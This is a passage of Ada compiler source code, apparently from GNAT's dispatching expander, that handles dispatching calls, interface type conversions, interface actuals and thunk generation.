Set_Extra_Accessibility_Of_Result (Subp_Typ, New_Formal);
end if;
Old_Formal := Extra_Formal (Old_Formal);
while Present (Old_Formal) loop
Set_Extra_Formal (New_Formal, New_Copy (Old_Formal));
New_Formal := Extra_Formal (New_Formal);
Set_Scope (New_Formal, Subp_Typ);
if Ekind (Subp) = E_Function
and then Present (Extra_Accessibility_Of_Result (Subp))
and then Extra_Accessibility_Of_Result (Subp) = Old_Formal
then
Set_Extra_Accessibility_Of_Result (Subp_Typ, New_Formal);
end if;
Old_Formal := Extra_Formal (Old_Formal);
end loop;
end if;
end;
-- Complete description of pointer type, including size information, as
-- must be done with itypes to prevent order-of-elaboration anomalies
-- in gigi.
Set_Etype (Subp_Ptr_Typ, Subp_Ptr_Typ);
Set_Directly_Designated_Type (Subp_Ptr_Typ, Subp_Typ);
Set_Convention (Subp_Ptr_Typ, Convention (Subp_Typ));
Layout_Type (Subp_Ptr_Typ);
-- If the controlling argument is a value of type Ada.Tag or an abstract
-- interface class-wide type then use it directly. Otherwise, the tag
-- must be extracted from the controlling object.
if Ctrl_Typ = RTE (RE_Tag)
or else (RTE_Available (RE_Interface_Tag)
and then Ctrl_Typ = RTE (RE_Interface_Tag))
then
Controlling_Tag := Duplicate_Subexpr (Ctrl_Arg);
-- Extract the tag from an unchecked type conversion. Done to avoid
-- the expansion of additional code just to obtain the value of such
-- tag because the current management of interface type conversions
-- generates in some cases this unchecked type conversion with the
-- tag of the object (see Expand_Interface_Conversion).
elsif Nkind (Ctrl_Arg) = N_Unchecked_Type_Conversion
and then
(Etype (Expression (Ctrl_Arg)) = RTE (RE_Tag)
or else
(RTE_Available (RE_Interface_Tag)
and then
Etype (Expression (Ctrl_Arg)) = RTE (RE_Interface_Tag)))
then
Controlling_Tag := Duplicate_Subexpr (Expression (Ctrl_Arg));
-- Ada 2005 (AI-251): Abstract interface class-wide type
elsif Is_Interface (Ctrl_Typ)
and then Is_Class_Wide_Type (Ctrl_Typ)
then
Controlling_Tag := Duplicate_Subexpr (Ctrl_Arg);
elsif Is_Access_Type (Ctrl_Typ) then
Controlling_Tag :=
Make_Selected_Component (Loc,
Prefix =>
Make_Explicit_Dereference (Loc,
Duplicate_Subexpr_Move_Checks (Ctrl_Arg)),
Selector_Name => New_Occurrence_Of (DTC_Entity (Subp), Loc));
else
Controlling_Tag :=
Make_Selected_Component (Loc,
Prefix => Duplicate_Subexpr_Move_Checks (Ctrl_Arg),
Selector_Name => New_Occurrence_Of (DTC_Entity (Subp), Loc));
end if;
-- Handle dispatching calls to predefined primitives
if Is_Predefined_Dispatching_Operation (Subp)
or else Is_Predefined_Dispatching_Alias (Subp)
then
Build_Get_Predefined_Prim_Op_Address (Loc,
Tag_Node => Controlling_Tag,
Position => DT_Position (Subp),
New_Node => New_Node);
-- Handle dispatching calls to user-defined primitives
else
Build_Get_Prim_Op_Address (Loc,
Typ => Underlying_Type (Find_Dispatching_Type (Subp)),
Tag_Node => Controlling_Tag,
Position => DT_Position (Subp),
New_Node => New_Node);
end if;
New_Call_Name :=
Unchecked_Convert_To (Subp_Ptr_Typ, New_Node);
-- Generate the SCIL node for this dispatching call. Done now because
-- attribute SCIL_Controlling_Tag must be set after the new call name
-- is built to reference the nodes that will see the SCIL backend
-- (because Build_Get_Prim_Op_Address generates an unchecked type
-- conversion which relocates the controlling tag node).
if Generate_SCIL then
SCIL_Node := Make_SCIL_Dispatching_Call (Sloc (Call_Node));
Set_SCIL_Entity (SCIL_Node, Typ);
Set_SCIL_Target_Prim (SCIL_Node, Subp);
-- Common case: the controlling tag is the tag of an object
-- (for example, obj.tag)
if Nkind (Controlling_Tag) = N_Selected_Component then
Set_SCIL_Controlling_Tag (SCIL_Node, Controlling_Tag);
-- Handle renaming of selected component
elsif Nkind (Controlling_Tag) = N_Identifier
and then Nkind (Parent (Entity (Controlling_Tag))) =
N_Object_Renaming_Declaration
and then Nkind (Name (Parent (Entity (Controlling_Tag)))) =
N_Selected_Component
then
Set_SCIL_Controlling_Tag (SCIL_Node,
Name (Parent (Entity (Controlling_Tag))));
-- If the controlling tag is an identifier, the SCIL node references
-- the corresponding object or parameter declaration
elsif Nkind (Controlling_Tag) = N_Identifier
and then Nkind (Parent (Entity (Controlling_Tag))) in
N_Object_Declaration | N_Parameter_Specification
then
Set_SCIL_Controlling_Tag (SCIL_Node,
Parent (Entity (Controlling_Tag)));
-- If the controlling tag is a dereference, the SCIL node references
-- the corresponding object or parameter declaration
elsif Nkind (Controlling_Tag) = N_Explicit_Dereference
and then Nkind (Prefix (Controlling_Tag)) = N_Identifier
and then Nkind (Parent (Entity (Prefix (Controlling_Tag)))) in
N_Object_Declaration | N_Parameter_Specification
then
Set_SCIL_Controlling_Tag (SCIL_Node,
Parent (Entity (Prefix (Controlling_Tag))));
-- For a direct reference of the tag of the type the SCIL node
-- references the internal object declaration containing the tag
-- of the type.
elsif Nkind (Controlling_Tag) = N_Attribute_Reference
and then Attribute_Name (Controlling_Tag) = Name_Tag
then
Set_SCIL_Controlling_Tag (SCIL_Node,
Parent
(Node
(First_Elmt
(Access_Disp_Table (Entity (Prefix (Controlling_Tag)))))));
-- Interfaces are not supported. For now we leave the SCIL node
-- decorated with the Controlling_Tag. More work needed here???
elsif Is_Interface (Etype (Controlling_Tag)) then
Set_SCIL_Controlling_Tag (SCIL_Node, Controlling_Tag);
else
pragma Assert (False);
null;
end if;
end if;
if Nkind (Call_Node) = N_Function_Call then
New_Call :=
Make_Function_Call (Loc,
Name => New_Call_Name,
Parameter_Associations => New_Params);
-- If this is a dispatching "=", we must first compare the tags so
-- we generate: x.tag = y.tag and then x = y
if Subp = Eq_Prim_Op then
Param := First_Actual (Call_Node);
New_Call :=
Make_And_Then (Loc,
Left_Opnd =>
Make_Op_Eq (Loc,
Left_Opnd =>
Make_Selected_Component (Loc,
Prefix => New_Value (Param),
Selector_Name =>
New_Occurrence_Of (First_Tag_Component (Typ),
Loc)),
Right_Opnd =>
Make_Selected_Component (Loc,
Prefix =>
Unchecked_Convert_To (Typ,
New_Value (Next_Actual (Param))),
Selector_Name =>
New_Occurrence_Of
(First_Tag_Component (Typ), Loc))),
Right_Opnd => New_Call);
SCIL_Related_Node := Right_Opnd (New_Call);
end if;
else
New_Call :=
Make_Procedure_Call_Statement (Loc,
Name => New_Call_Name,
Parameter_Associations => New_Params);
end if;
-- Register the dispatching call in the call graph nodes table
Register_CG_Node (Call_Node);
Rewrite (Call_Node, New_Call);
-- Associate the SCIL node of this dispatching call
if Generate_SCIL then
Set_SCIL_Node (SCIL_Related_Node, SCIL_Node);
end if;
-- Suppress all checks during the analysis of the expanded code to avoid
-- the generation of spurious warnings under ZFP run-time.
Analyze_And_Resolve (Call_Node, Call_Typ, Suppress => All_Checks);
end Expand_Dispatching_Call;
---------------------------------
-- Expand_Interface_Conversion --
---------------------------------
procedure Expand_Interface_Conversion (N : Node_Id) is
function Underlying_Record_Type (Typ : Entity_Id) return Entity_Id;
-- Return the underlying record type of Typ
----------------------------
-- Underlying_Record_Type --
----------------------------
function Underlying_Record_Type (Typ : Entity_Id) return Entity_Id is
E : Entity_Id := Typ;
begin
-- Handle access types
if Is_Access_Type (E) then
E := Directly_Designated_Type (E);
end if;
-- Handle class-wide types. This conversion can appear explicitly in
-- the source code. Example: I'Class (Obj)
if Is_Class_Wide_Type (E) then
E := Root_Type (E);
end if;
-- If the target type is a tagged synchronized type, the dispatch
-- table info is in the corresponding record type.
if Is_Concurrent_Type (E) then
E := Corresponding_Record_Type (E);
end if;
-- Handle private types
E := Underlying_Type (E);
-- Handle subtypes
return Base_Type (E);
end Underlying_Record_Type;
-- Local variables
Loc : constant Source_Ptr := Sloc (N);
Etyp : constant Entity_Id := Etype (N);
Operand : constant Node_Id := Expression (N);
Operand_Typ : Entity_Id := Etype (Operand);
Func : Node_Id;
Iface_Typ : constant Entity_Id := Underlying_Record_Type (Etype (N));
Iface_Tag : Entity_Id;
Is_Static : Boolean;
-- Start of processing for Expand_Interface_Conversion
begin
-- Freeze the entity associated with the target interface to have
-- available the attribute Access_Disp_Table.
Freeze_Before (N, Iface_Typ);
-- Ada 2005 (AI-345): Handle synchronized interface type derivations
if Is_Concurrent_Type (Operand_Typ) then
Operand_Typ := Base_Type (Corresponding_Record_Type (Operand_Typ));
end if;
-- No displacement of the pointer to the object needed when the type of
-- the operand is not an interface type and the interface is one of
-- its parent types (since they share the primary dispatch table).
declare
Opnd : Entity_Id := Operand_Typ;
begin
if Is_Access_Type (Opnd) then
Opnd := Designated_Type (Opnd);
end if;
Opnd := Underlying_Record_Type (Opnd);
if not Is_Interface (Opnd)
and then Is_Ancestor (Iface_Typ, Opnd, Use_Full_View => True)
then
return;
end if;
-- When the type of the operand and the target interface type match,
-- it is generally safe to skip generating code to displace the
-- pointer to the object to reference the secondary dispatch table
-- associated with the target interface type. The exception to this
-- general rule is when the underlying object of the type conversion
-- is an object built by means of a dispatching constructor (since in
-- such case the expansion of the constructor call is a direct call
-- to an object primitive, i.e. without thunks, and the expansion of
-- the constructor call adds an explicit conversion to the target
-- interface type to force the displacement of the pointer to the
-- object to reference the corresponding secondary dispatch table
-- (cf. Make_DT and Expand_Dispatching_Constructor_Call)).
-- At this stage we cannot identify whether the underlying object is
-- a BIP object and hence we cannot skip generating the code to try
-- displacing the pointer to the object. However, under configurable
-- runtime it is safe to skip generating code to displace the pointer
-- to the object, because generic dispatching constructors are not
-- supported.
if Opnd = Iface_Typ and then not RTE_Available (RE_Displace) then
return;
end if;
end;
-- Evaluate if we can statically displace the pointer to the object
declare
Opnd_Typ : constant Node_Id := Underlying_Record_Type (Operand_Typ);
begin
Is_Static :=
not Is_Interface (Opnd_Typ)
and then Interface_Present_In_Ancestor
(Typ => Opnd_Typ,
Iface => Iface_Typ)
and then (Etype (Opnd_Typ) = Opnd_Typ
or else not
Is_Variable_Size_Record (Etype (Opnd_Typ)));
end;
if not Tagged_Type_Expansion then
return;
-- A static conversion to an interface type that is not class-wide is
-- curious but legal if the interface operation is a null procedure.
-- If the operation is abstract it will be rejected later.
elsif Is_Static
and then Is_Interface (Etype (N))
and then not Is_Class_Wide_Type (Etype (N))
and then Comes_From_Source (N)
then
Rewrite (N, Unchecked_Convert_To (Etype (N), N));
Analyze (N);
return;
end if;
if not Is_Static then
-- Give error if configurable run-time and Displace not available
if not RTE_Available (RE_Displace) then
Error_Msg_CRT ("dynamic interface conversion", N);
return;
end if;
-- Handle conversion of access-to-class-wide interface types. Target
-- can be an access to an object or an access to another class-wide
-- interface (see -1- and -2- in the following example):
-- type Iface1_Ref is access all Iface1'Class;
-- type Iface2_Ref is access all Iface1'Class;
-- Acc1 : Iface1_Ref := new ...
-- Obj : Obj_Ref := Obj_Ref (Acc); -- 1
-- Acc2 : Iface2_Ref := Iface2_Ref (Acc); -- 2
if Is_Access_Type (Operand_Typ) then
Rewrite (N,
Unchecked_Convert_To (Etype (N),
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (RE_Displace), Loc),
Parameter_Associations => New_List (
Unchecked_Convert_To (RTE (RE_Address),
Relocate_Node (Expression (N))),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Iface_Typ))),
Loc)))));
Analyze (N);
return;
end if;
Rewrite (N,
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (RE_Displace), Loc),
Parameter_Associations => New_List (
Make_Attribute_Reference (Loc,
Prefix => Relocate_Node (Expression (N)),
Attribute_Name => Name_Address),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Iface_Typ))),
Loc))));
Analyze (N);
-- If target is a class-wide interface, change the type of the data
-- returned by IW_Convert to indicate this is a dispatching call.
declare
New_Itype : Entity_Id;
begin
New_Itype := Create_Itype (E_Anonymous_Access_Type, N);
Set_Etype (New_Itype, New_Itype);
Set_Directly_Designated_Type (New_Itype, Etyp);
Rewrite (N,
Make_Explicit_Dereference (Loc,
Prefix =>
Unchecked_Convert_To (New_Itype, Relocate_Node (N))));
Analyze (N);
Freeze_Itype (New_Itype, N);
return;
end;
end if;
Iface_Tag := Find_Interface_Tag (Operand_Typ, Iface_Typ);
pragma Assert (Present (Iface_Tag));
-- Keep separate access types to interfaces because one internal
-- function is used to handle the null value (see following comments)
if not Is_Access_Type (Etype (N)) then
-- Statically displace the pointer to the object to reference the
-- component containing the secondary dispatch table.
Rewrite (N,
Convert_Tag_To_Interface (Class_Wide_Type (Iface_Typ),
Make_Selected_Component (Loc,
Prefix => Relocate_Node (Expression (N)),
Selector_Name => New_Occurrence_Of (Iface_Tag, Loc))));
else
-- Build internal function to handle the case in which the actual is
-- null. If the actual is null returns null because no displacement
-- is required; otherwise performs a type conversion that will be
-- expanded in the code that returns the value of the displaced
-- actual. That is:
-- function Func (O : Address) return Iface_Typ is
-- type Op_Typ is access all Operand_Typ;
-- Aux : Op_Typ := To_Op_Typ (O);
-- begin
-- if O = Null_Address then
-- return null;
-- else
-- return Iface_Typ!(Aux.Iface_Tag'Address);
-- end if;
-- end Func;
declare
Desig_Typ : Entity_Id;
Fent : Entity_Id;
New_Typ_Decl : Node_Id;
Stats : List_Id;
begin
Desig_Typ := Etype (Expression (N));
if Is_Access_Type (Desig_Typ) then
Desig_Typ :=
Available_View (Directly_Designated_Type (Desig_Typ));
end if;
if Is_Concurrent_Type (Desig_Typ) then
Desig_Typ := Base_Type (Corresponding_Record_Type (Desig_Typ));
end if;
New_Typ_Decl :=
Make_Full_Type_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'T'),
Type_Definition =>
Make_Access_To_Object_Definition (Loc,
All_Present => True,
Null_Exclusion_Present => False,
Constant_Present => False,
Subtype_Indication =>
New_Occurrence_Of (Desig_Typ, Loc)));
Stats := New_List (
Make_Simple_Return_Statement (Loc,
Unchecked_Convert_To (Etype (N),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
Unchecked_Convert_To
(Defining_Identifier (New_Typ_Decl),
Make_Identifier (Loc, Name_uO)),
Selector_Name =>
New_Occurrence_Of (Iface_Tag, Loc)),
Attribute_Name => Name_Address))));
-- If the type is null-excluding, no need for the null branch.
-- Otherwise we need to check for it and return null.
if not Can_Never_Be_Null (Etype (N)) then
Stats := New_List (
Make_If_Statement (Loc,
Condition =>
Make_Op_Eq (Loc,
Left_Opnd => Make_Identifier (Loc, Name_uO),
Right_Opnd => New_Occurrence_Of
(RTE (RE_Null_Address), Loc)),
Then_Statements => New_List (
Make_Simple_Return_Statement (Loc, Make_Null (Loc))),
Else_Statements => Stats));
end if;
Fent := Make_Temporary (Loc, 'F');
Func :=
Make_Subprogram_Body (Loc,
Specification =>
Make_Function_Specification (Loc,
Defining_Unit_Name => Fent,
Parameter_Specifications => New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uO),
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Address), Loc))),
Result_Definition =>
New_Occurrence_Of (Etype (N), Loc)),
Declarations => New_List (New_Typ_Decl),
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, Stats));
-- Place function body before the expression containing the
-- conversion. We suppress all checks because the body of the
-- internally generated function already takes care of the case
-- in which the actual is null; therefore there is no need to
-- double check that the pointer is not null when the program
-- executes the alternative that performs the type conversion).
Insert_Action (N, Func, Suppress => All_Checks);
if Is_Access_Type (Etype (Expression (N))) then
-- Generate: Func (Address!(Expression))
Rewrite (N,
Make_Function_Call (Loc,
Name => New_Occurrence_Of (Fent, Loc),
Parameter_Associations => New_List (
Unchecked_Convert_To (RTE (RE_Address),
Relocate_Node (Expression (N))))));
else
-- Generate: Func (Operand_Typ!(Expression)'Address)
Rewrite (N,
Make_Function_Call (Loc,
Name => New_Occurrence_Of (Fent, Loc),
Parameter_Associations => New_List (
Make_Attribute_Reference (Loc,
Prefix => Unchecked_Convert_To (Operand_Typ,
Relocate_Node (Expression (N))),
Attribute_Name => Name_Address))));
end if;
end;
end if;
Analyze (N);
end Expand_Interface_Conversion;
------------------------------
-- Expand_Interface_Actuals --
------------------------------
procedure Expand_Interface_Actuals (Call_Node : Node_Id) is
Actual : Node_Id;
Actual_Dup : Node_Id;
Actual_Typ : Entity_Id;
Anon : Entity_Id;
Conversion : Node_Id;
Formal : Entity_Id;
Formal_Typ : Entity_Id;
Subp : Entity_Id;
Formal_DDT : Entity_Id := Empty; -- initialize to prevent warning
Actual_DDT : Entity_Id := Empty; -- initialize to prevent warning
begin
-- This subprogram is called directly from the semantics, so we need a
-- check to see whether expansion is active before proceeding.
if not Expander_Active then
return;
end if;
-- Call using access to subprogram with explicit dereference
if Nkind (Name (Call_Node)) = N_Explicit_Dereference then
Subp := Etype (Name (Call_Node));
-- Call using selected component
elsif Nkind (Name (Call_Node)) = N_Selected_Component then
Subp := Entity (Selector_Name (Name (Call_Node)));
-- Call using direct name
else
Subp := Entity (Name (Call_Node));
end if;
-- Ada 2005 (AI-251): Look for interface type formals to force "this"
-- displacement
Formal := First_Formal (Subp);
Actual := First_Actual (Call_Node);
while Present (Formal) loop
Formal_Typ := Etype (Formal);
if Has_Non_Limited_View (Formal_Typ) then
Formal_Typ := Non_Limited_View (Formal_Typ);
end if;
if Ekind (Formal_Typ) = E_Record_Type_With_Private then
Formal_Typ := Full_View (Formal_Typ);
end if;
if Is_Access_Type (Formal_Typ) then
Formal_DDT := Directly_Designated_Type (Formal_Typ);
if Has_Non_Limited_View (Formal_DDT) then
Formal_DDT := Non_Limited_View (Formal_DDT);
end if;
end if;
Actual_Typ := Etype (Actual);
if Has_Non_Limited_View (Actual_Typ) then
Actual_Typ := Non_Limited_View (Actual_Typ);
end if;
if Is_Access_Type (Actual_Typ) then
Actual_DDT := Directly_Designated_Type (Actual_Typ);
if Has_Non_Limited_View (Actual_DDT) then
Actual_DDT := Non_Limited_View (Actual_DDT);
end if;
end if;
if Is_Interface (Formal_Typ)
and then Is_Class_Wide_Type (Formal_Typ)
then
-- No need to displace the pointer if the type of the actual
-- coincides with the type of the formal.
if Actual_Typ = Formal_Typ then
null;
-- No need to displace the pointer if the interface type is a
-- parent of the type of the actual because in this case the
-- interface primitives are located in the primary dispatch table.
elsif Is_Ancestor (Formal_Typ, Actual_Typ,
Use_Full_View => True)
then
null;
-- Implicit conversion to the class-wide formal type to force the
-- displacement of the pointer.
else
-- Normally, expansion of actuals for calls to build-in-place
-- functions happens as part of Expand_Actuals, but in this
-- case the call will be wrapped in a conversion and soon after
-- expanded further to handle the displacement for a class-wide
-- interface conversion, so if this is a BIP call then we need
-- to handle it now.
if Is_Build_In_Place_Function_Call (Actual) then
Make_Build_In_Place_Call_In_Anonymous_Context (Actual);
end if;
Conversion := Convert_To (Formal_Typ, Relocate_Node (Actual));
Rewrite (Actual, Conversion);
Analyze_And_Resolve (Actual, Formal_Typ);
end if;
-- Access to class-wide interface type
elsif Is_Access_Type (Formal_Typ)
and then Is_Interface (Formal_DDT)
and then Is_Class_Wide_Type (Formal_DDT)
and then Interface_Present_In_Ancestor
(Typ => Actual_DDT,
Iface => Etype (Formal_DDT))
then
-- Handle attributes 'Access and 'Unchecked_Access
if Nkind (Actual) = N_Attribute_Reference
and then
(Attribute_Name (Actual) = Name_Access
or else Attribute_Name (Actual) = Name_Unchecked_Access)
then
-- This case must have been handled by the analysis and
-- expansion of 'Access. The only exception is when types
-- match and no further expansion is required.
pragma Assert (Base_Type (Etype (Prefix (Actual)))
= Base_Type (Formal_DDT));
null;
-- No need to displace the pointer if the type of the actual
-- coincides with the type of the formal.
elsif Actual_DDT = Formal_DDT then
null;
-- No need to displace the pointer if the interface type is
-- a parent of the type of the actual because in this case the
-- interface primitives are located in the primary dispatch table.
elsif Is_Ancestor (Formal_DDT, Actual_DDT,
Use_Full_View => True)
then
null;
else
Actual_Dup := Relocate_Node (Actual);
if From_Limited_With (Actual_Typ) then
-- If the type of the actual parameter comes from a limited
-- with_clause and the nonlimited view is already available,
-- we replace the anonymous access type by a duplicate
-- declaration whose designated type is the nonlimited view.
if Has_Non_Limited_View (Actual_DDT) then
Anon := New_Copy (Actual_Typ);
if Is_Itype (Anon) then
Set_Scope (Anon, Current_Scope);
end if;
Set_Directly_Designated_Type
(Anon, Non_Limited_View (Actual_DDT));
Set_Etype (Actual_Dup, Anon);
end if;
end if;
Conversion := Convert_To (Formal_Typ, Actual_Dup);
Rewrite (Actual, Conversion);
Analyze_And_Resolve (Actual, Formal_Typ);
end if;
end if;
Next_Actual (Actual);
Next_Formal (Formal);
end loop;
end Expand_Interface_Actuals;
----------------------------
-- Expand_Interface_Thunk --
----------------------------
procedure Expand_Interface_Thunk
(Prim : Node_Id;
Thunk_Id : out Entity_Id;
Thunk_Code : out Node_Id;
Iface : Entity_Id)
is
Loc : constant Source_Ptr := Sloc (Prim);
Actuals : constant List_Id := New_List;
Decl : constant List_Id := New_List;
Formals : constant List_Id := New_List;
Target : constant Entity_Id := Ultimate_Alias (Prim);
Decl_1 : Node_Id;
Decl_2 : Node_Id;
Expr : Node_Id;
Formal : Node_Id;
Ftyp : Entity_Id;
Iface_Formal : Node_Id := Empty; -- initialize to prevent warning
Is_Predef_Op : constant Boolean :=
Is_Predefined_Dispatching_Operation (Prim)
or else Is_Predefined_Dispatching_Operation (Target);
New_Arg : Node_Id;
Offset_To_Top : Node_Id;
Target_Formal : Entity_Id;
begin
Thunk_Id := Empty;
Thunk_Code := Empty;
-- No thunk needed if the primitive has been eliminated
if Is_Eliminated (Target) then
return;
-- In case of primitives that are functions without formals and a
-- controlling result there is no need to build the thunk.
elsif not Present (First_Formal (Target)) then
pragma Assert (Ekind (Target) = E_Function
and then Has_Controlling_Result (Target));
return;
end if;
-- Duplicate the formals of the Target primitive. In the thunk, the type
-- of the controlling formal is the covered interface type (instead of
-- the target tagged type). Done to avoid problems with discriminated
-- tagged types because, if the controlling type has discriminants with
-- default values, then the type conversions done inside the body of
-- the thunk (after the displacement of the pointer to the base of the
-- actual object) generate code that modify its contents.
-- Note: This special management is not done for predefined primitives
-- because they don't have available the Interface_Alias attribute (see
-- Sem_Ch3.Add_Internal_Interface_Entities).
if not Is_Predef_Op then
Iface_Formal := First_Formal (Interface_Alias (Prim));
end if;
Formal := First_Formal (Target);
while Present (Formal) loop
Ftyp := Etype (Formal);
-- Use the interface type as the type of the controlling formal (see
-- comment above).
if not Is_Controlling_Formal (Formal) then
Ftyp := Etype (Formal);
Expr := New_Copy_Tree (Expression (Parent (Formal)));
-- For predefined primitives the controlling type of the thunk is
-- the interface type passed by the caller (since they don't have
-- available the Interface_Alias attribute; see comment above).
elsif Is_Predef_Op then
Ftyp := Iface;
Expr := Empty;
else
Ftyp := Etype (Iface_Formal);
Expr := Empty;
-- Sanity check performed to ensure the proper controlling type
-- when the thunk has exactly one controlling parameter and it
-- comes first. In such case the GCC backend reuses the C++
-- thunks machinery which perform a computation equivalent to
-- the code generated by the expander; for other cases the GCC
-- backend translates the expanded code unmodified. However, as
-- a generalization, the check is performed for all controlling
-- types.
if Is_Access_Type (Ftyp) then
pragma Assert (Base_Type (Designated_Type (Ftyp)) = Iface);
null;
else
Ftyp := Base_Type (Ftyp);
pragma Assert (Ftyp = Iface);
end if;
end if;
Append_To (Formals,
Make_Parameter_Specification (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Sloc (Formal),
Chars => Chars (Formal)),
In_Present => In_Present (Parent (Formal)),
Out_Present => Out_Present (Parent (Formal)),
Parameter_Type => New_Occurrence_Of (Ftyp, Loc),
Expression => Expr));
if not Is_Predef_Op then
Next_Formal (Iface_Formal);
end if;
Next_Formal (Formal);
end loop;
Target_Formal := First_Formal (Target);
Formal := First (Formals);
while Present (Formal) loop
-- If the parent is a constrained discriminated type, then the
-- primitive operation will have been defined on a first subtype.
-- For proper matching with controlling type, use base type.
if Ekind (Target_Formal) = E_In_Parameter
and then Ekind (Etype (Target_Formal)) = E_Anonymous_Access_Type
then
Ftyp :=
Base_Type (Directly_Designated_Type (Etype (Target_Formal)));
else
Ftyp := Base_Type (Etype (Target_Formal));
end if;
-- For concurrent types, the relevant information is found in the
-- Corresponding_Record_Type, rather than the type entity itself.
if Is_Concurrent_Type (Ftyp) then
Ftyp := Corresponding_Record_Type (Ftyp);
end if;
if Ekind (Target_Formal) = E_In_Parameter
and then Ekind (Etype (Target_Formal)) = E_Anonymous_Access_Type
and then Is_Controlling_Formal (Target_Formal)
then
-- Generate:
-- type T is access all <<type of the target formal>>
-- S : Storage_Offset := Storage_Offset!(Formal)
-- + Offset_To_Top (address!(Formal))
Decl_2 :=
Make_Full_Type_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'T'),
Type_Definition =>
Make_Access_To_Object_Definition (Loc,
All_Present => True,
Null_Exclusion_Present => False,
Constant_Present => False,
Subtype_Indication =>
New_Occurrence_Of (Ftyp, Loc)));
New_Arg :=
Unchecked_Convert_To (RTE (RE_Address),
New_Occurrence_Of (Defining_Identifier (Formal), Loc));
if not RTE_Available (RE_Offset_To_Top) then
Offset_To_Top :=
Build_Offset_To_Top (Loc, New_Arg);
else
Offset_To_Top :=
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (RE_Offset_To_Top), Loc),
Parameter_Associations => New_List (New_Arg));
end if;
Decl_1 :=
Make_Object_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'S'),
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Storage_Offset), Loc),
Expression =>
Make_Op_Add (Loc,
Left_Opnd =>
Unchecked_Convert_To
(RTE (RE_Storage_Offset),
New_Occurrence_Of
(Defining_Identifier (Formal), Loc)),
Right_Opnd =>
Offset_To_Top));
Append_To (Decl, Decl_2);
Append_To (Decl, Decl_1);
-- Reference the new actual. Generate:
-- T!(S)
Append_To (Actuals,
Unchecked_Convert_To
(Defining_Identifier (Decl_2),
New_Occurrence_Of (Defining_Identifier (Decl_1), Loc)));
elsif Is_Controlling_Formal (Target_Formal) then
-- Generate:
-- S1 : Storage_Offset := Storage_Offset!(Formal'Address)
-- + Offset_To_Top (Formal'Address)
-- S2 : Addr_Ptr := Addr_Ptr!(S1)
New_Arg :=
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Defining_Identifier (Formal), Loc),
Attribute_Name =>
Name_Address);
if not RTE_Available (RE_Offset_To_Top) then
Offset_To_Top :=
Build_Offset_To_Top (Loc, New_Arg);
else
Offset_To_Top :=
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (RE_Offset_To_Top), Loc),
Parameter_Associations => New_List (New_Arg));
end if;
Decl_1 :=
Make_Object_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'S'),
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Storage_Offset), Loc),
Expression =>
Make_Op_Add (Loc,
Left_Opnd =>
Unchecked_Convert_To
(RTE (RE_Storage_Offset),
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of
(Defining_Identifier (Formal), Loc),
Attribute_Name => Name_Address)),
Right_Opnd =>
Offset_To_Top));
Decl_2 :=
Make_Object_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'S'),
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Addr_Ptr), Loc),
Expression =>
Unchecked_Convert_To
(RTE (RE_Addr_Ptr),
New_Occurrence_Of (Defining_Identifier (Decl_1), Loc)));
Append_To (Decl, Decl_1);
Append_To (Decl, Decl_2);
-- Reference the new actual, generate:
-- Target_Formal (S2.all)
Append_To (Actuals,
Unchecked_Convert_To (Ftyp,
Make_Explicit_Dereference (Loc,
New_Occurrence_Of (Defining_Identifier (Decl_2), Loc))));
-- Ensure proper matching of access types. Required to avoid
-- reporting spurious errors.
elsif Is_Access_Type (Etype (Target_Formal)) then
Append_To (Actuals,
Unchecked_Convert_To (Base_Type (Etype (Target_Formal)),
New_Occurrence_Of (Defining_Identifier (Formal), Loc)));
-- No special management required for this actual
else
Append_To (Actuals,
New_Occurrence_Of (Defining_Identifier (Formal), Loc));
end if;
Next_Formal (Target_Formal);
Next (Formal);
end loop;
Thunk_Id := Make_Temporary (Loc, 'T');
-- Note: any change to this symbol name needs to be coordinated
-- with GNATcoverage, as that tool relies on it to identify
-- thunks and exclude them from source coverage analysis.
Set_Ekind (Thunk_Id, Ekind (Prim));
Set_Is_Thunk (Thunk_Id);
Set_Convention (Thunk_Id, Convention (Prim));
Set_Needs_Debug_Info (Thunk_Id, Needs_Debug_Info (Target));
Set_Thunk_Entity (Thunk_Id, Target);
-- Procedure case
if Ekind (Target) = E_Procedure then
Thunk_Code :=
Make_Subprogram_Body (Loc,
Specification =>
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Thunk_Id,
Parameter_Specifications => Formals),
Declarations => Decl,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
Statements => New_List (
Make_Procedure_Call_Statement (Loc,
Name => New_Occurrence_Of (Target, Loc),
Parameter_Associations => Actuals))));
-- Function case
else pragma Assert (Ekind (Target) = E_Function);
declare
Result_Def : Node_Id;
Call_Node : Node_Id;
begin
Call_Node :=
Make_Function_Call (Loc,
Name => New_Occurrence_Of (Target, Loc),
Parameter_Associations => Actuals);
if not Is_Interface (Etype (Prim)) then
Result_Def := New_Copy (Result_Definition (Parent (Target)));
-- Thunk of function returning a class-wide interface object. No
-- extra displacement needed since the displacement is generated
-- in the return statement of Prim. Example:
-- type Iface is interface ...
-- function F (O : Iface) return Iface'Class;
-- type T is new ... and Iface with ...
-- function F (O : T) return Iface'Class;
elsif Is_Class_Wide_Type (Etype (Prim)) then
Result_Def := New_Occurrence_Of (Etype (Prim), Loc);
